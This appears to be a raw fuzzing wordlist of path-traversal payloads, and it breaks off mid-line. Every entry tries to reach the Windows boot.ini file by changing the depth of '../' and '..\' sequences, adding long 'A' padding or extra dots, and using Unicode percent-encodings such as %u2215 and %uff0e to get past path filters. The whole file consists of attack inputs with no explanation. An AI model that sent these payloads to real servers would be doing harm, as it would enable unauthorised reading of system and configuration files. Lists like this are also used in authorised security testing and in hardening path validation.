AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\..\\..\\boot.ini\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\..\\..\\..\\boot.ini\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\..\\..\\..\\..\\boot.ini\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\..\\..\\..\\..\\..\\boot.ini\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\..\\..\\..\\..\\..\\..\\boot.ini\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\..\\..\\..\\..\\..\\..\\..\\boot.ini\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\..\\..\\..\\..\\..\\..\\..\\..\\boot.ini\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../boot.ini\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../boot.ini\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../boot.ini\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../boot.ini\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../boot.ini\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../../boot.ini\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../../../boot.ini\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../../../../boot.ini\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\..\\boot.ini\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\..\\..\\boot.ini\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\..\\..\\..\\boot.ini\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\..\\..\\..\\..\\boot.ini\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\..\\..\\..\\..\\..\\boot.ini\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\..\\..\\..\\..\\..\\..\\boot.ini\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\..\\..\\..\\..\\..\\..\\..\\boot.ini\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\..\\..\\..\\..\\..\\..\\..\\..\\boot.ini\r\n.../boot.ini\r\n.../.../boot.ini\r\n.../.../.../boot.ini\r\n.../.../.../.../boot.ini\r\n.../.../.../.../.../boot.ini\r\n.../.../.../.../.../.../boot.ini\r\n.../.../.../.../.../.../.../boot.ini\r\n.../.../.../.../.../.../.../.../boot.ini\r\n...\\boot.ini\r\n...\\...\\boot.ini\r\n...\\...\\...\\boot.ini\r\n...\\...\\...\\...\\boot.ini\r\n...\\...\\...\\...\\...\\boot.ini\r\n...\\...\\...\\...\\...\\...\\boot.ini\r\n...\\...\\...\\...\\...\\...\\...\\boot.ini\r\n...\\...\\...\\...\\...\\...\\...\\...\\boot.ini\r\n..../boot.ini\r\n..../..../boot.ini\r\n..../..../..../boot.ini\r\n..../..../..../..../boot.ini\r\n..../..../..../..../..../boot.ini\r\n..../..../..../..../..../..../boot.ini\r\n..../..../..../..../..../..../..../boot.ini\r\n..../..../..../..../..../..../..../..../boot.ini\r\n....\\boot.ini\r\n....\\....\\boot.ini\r\n....\\....\\....\\boot.ini\r\n....\\....\\....\\....\\boot.ini\r\n....\\....\\....\\....\\....\\boot.ini\r\n....\\....\\....\\....\\....\\....\\boot.ini\r\n....\\....\\....\\....\\....\\....\\....\\boot.ini\r\n....\\....\\....\\....\\....\\....\\....\\....\\boot.ini\r\n........................................................................../boot.ini\r\n........................................................................../../boot.ini\r\n........................................................................../../../boot.ini\r\n........................................................................../../../../boot.ini\r\n........................................................................../../../../../boot.ini\r\n........................................................................../../../../../../boot.ini\r\n........................................................................../../../../../../../boot.ini\r\n........................................................................../../../../../../../../boot.ini\r\n..........................................................................\\boot.ini\r\n..........................................................................\\..\\boot.ini\r\n..........................................................................\\..\\..\\boot.ini\r\n..........................................................................\\..\\..\\..\\boot.ini\r\n..........................................................................\\..\\..\\..\\..\\boot.ini\r\n..........................................................................\\..\\..\\..\\..\\..\\boot.ini\r\n..........................................................................\\..\\..\\..\\..\\..\\..\\boot.ini\r\n..........................................................................\\..\\..\\..\\..\\..\\..\\..\\boot.ini\r\n..%u2215boot.ini\r\n..%u2215..%u2215boot.ini\r\n..%u2215..%u2215..%u2215boot.ini\r\n..%u2215..%u2215..%u2215..%u2215boot.ini\r\n..%u2215..%u2215..%u2215..%u2215..%u2215boot.ini\r\n..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215boot.ini\r\n..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215boot.ini\r\n..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215boot.ini\r\n%uff0e%uff0e/boot.ini\r\n%uff0e%uff0e/%uff0e%uff0e/boot.ini\r\n%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/boot.ini\r\n%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/boot.ini\r\n%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/boot.ini\r\n%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/boot.ini\r\n%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/boot.ini\r\n%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/boot.ini\r\n%uff0e%uff0e%u2215boot.ini\r\n%uff0e%uff0e%u2215%uff0e%uff0e%u2215boot.ini\r\n%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215boot.ini\r\n%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215boot.ini\r\n%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215boot.ini\r\n%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215boot.ini\r\n%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215boot.ini\r\n%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215boot.ini\r\n..%u2216boot.ini\r\n..%u2216..%u2216boot.ini\r\n..%u2216..%u2216..%u2216boot.ini\r\n..%u2216..%u2216..%u2216..%u2216boot.ini\r\n..%u2216..%u2216..%u2216..%u2216..%u2216boot.ini\r\n..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216boot.ini\r\n..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216boot.ini\r\n..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216boot.ini\r\n..%uEFC8boot.ini\r\n..%uEFC8..%uEFC8boot.ini\r\n..%uEFC8..%uEFC8..%uEFC8boot.ini\r\n..%uEFC8..%uEFC8..%uEFC8..%uEFC8boot.ini\r\n..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8boot.ini\r\n..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8boot.ini\r\n..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8boot.ini\r\n..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8boot.ini\r\n..%uF025boot.ini\r\n..%uF025..%uF025boot.ini\r\n..%uF025..%uF025..%uF025boot.ini\r\n..%uF025..%uF025..%uF025..%uF025boot.ini\r\n..%uF025..%uF025..%uF025..%uF025..%uF025boot.ini\r\n..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025boot.ini\r\n..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025boot.ini\r\n..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025boot.ini\r\n%uff0e%uff0e\\boot.ini\r\n%uff0e%uff0e\\%uff0e%uff0e\\boot.ini\r\n%uff0e%uff0e\\%uff0e%uff0e\\%uff0e%uff0e\\boot.ini\r\n%uff0e%uff0e\\%uff0e%uff0e\\%uff0e%uff0e\\%uff0e%uff0e\\boot.ini\r\n%uff0e%uff0e\\%uff0e%uff0e\\%uff0e%uff0e\\%uff0e%uff0e\\%uff0e%uff0e\\boot.ini\r\n%uff0e%uff0e\\%uff0e%uff0e\\%uff0e%uff0e\\%uff0e%uff0e\\%uff0e%uff0e\\%uff0e%uff0e\\boot.ini\r\n%uff0e%uff0e\\%uff0e%uff0e\\%uff0e%uff0e\\%uff0e%uff0e\\%uff0e%uff0e\\%uff0e%uff0e\\%uff0e%uff0e\\boot.ini\r\n%uff0e%uff0e\\%uff0e%uff0e\\%uff0e%uff0e\\%uff0e%uff0e\\%uff0e%uff0e\\%uff0e%uff0e\\%uff0e%uff0e\\%uff0e%uff0e\\boot.ini\r\n%uff0e%uff0e%u2216boot.ini\r\n%uff0e%uff0e%u2216%uff0e%uff0e%u2216boot.ini\r\n%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216boot.ini\r\n%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216boot.ini\r\n%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216boot.ini\r\n%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216boot.ini\r\n%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216boot.ini\r\n%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u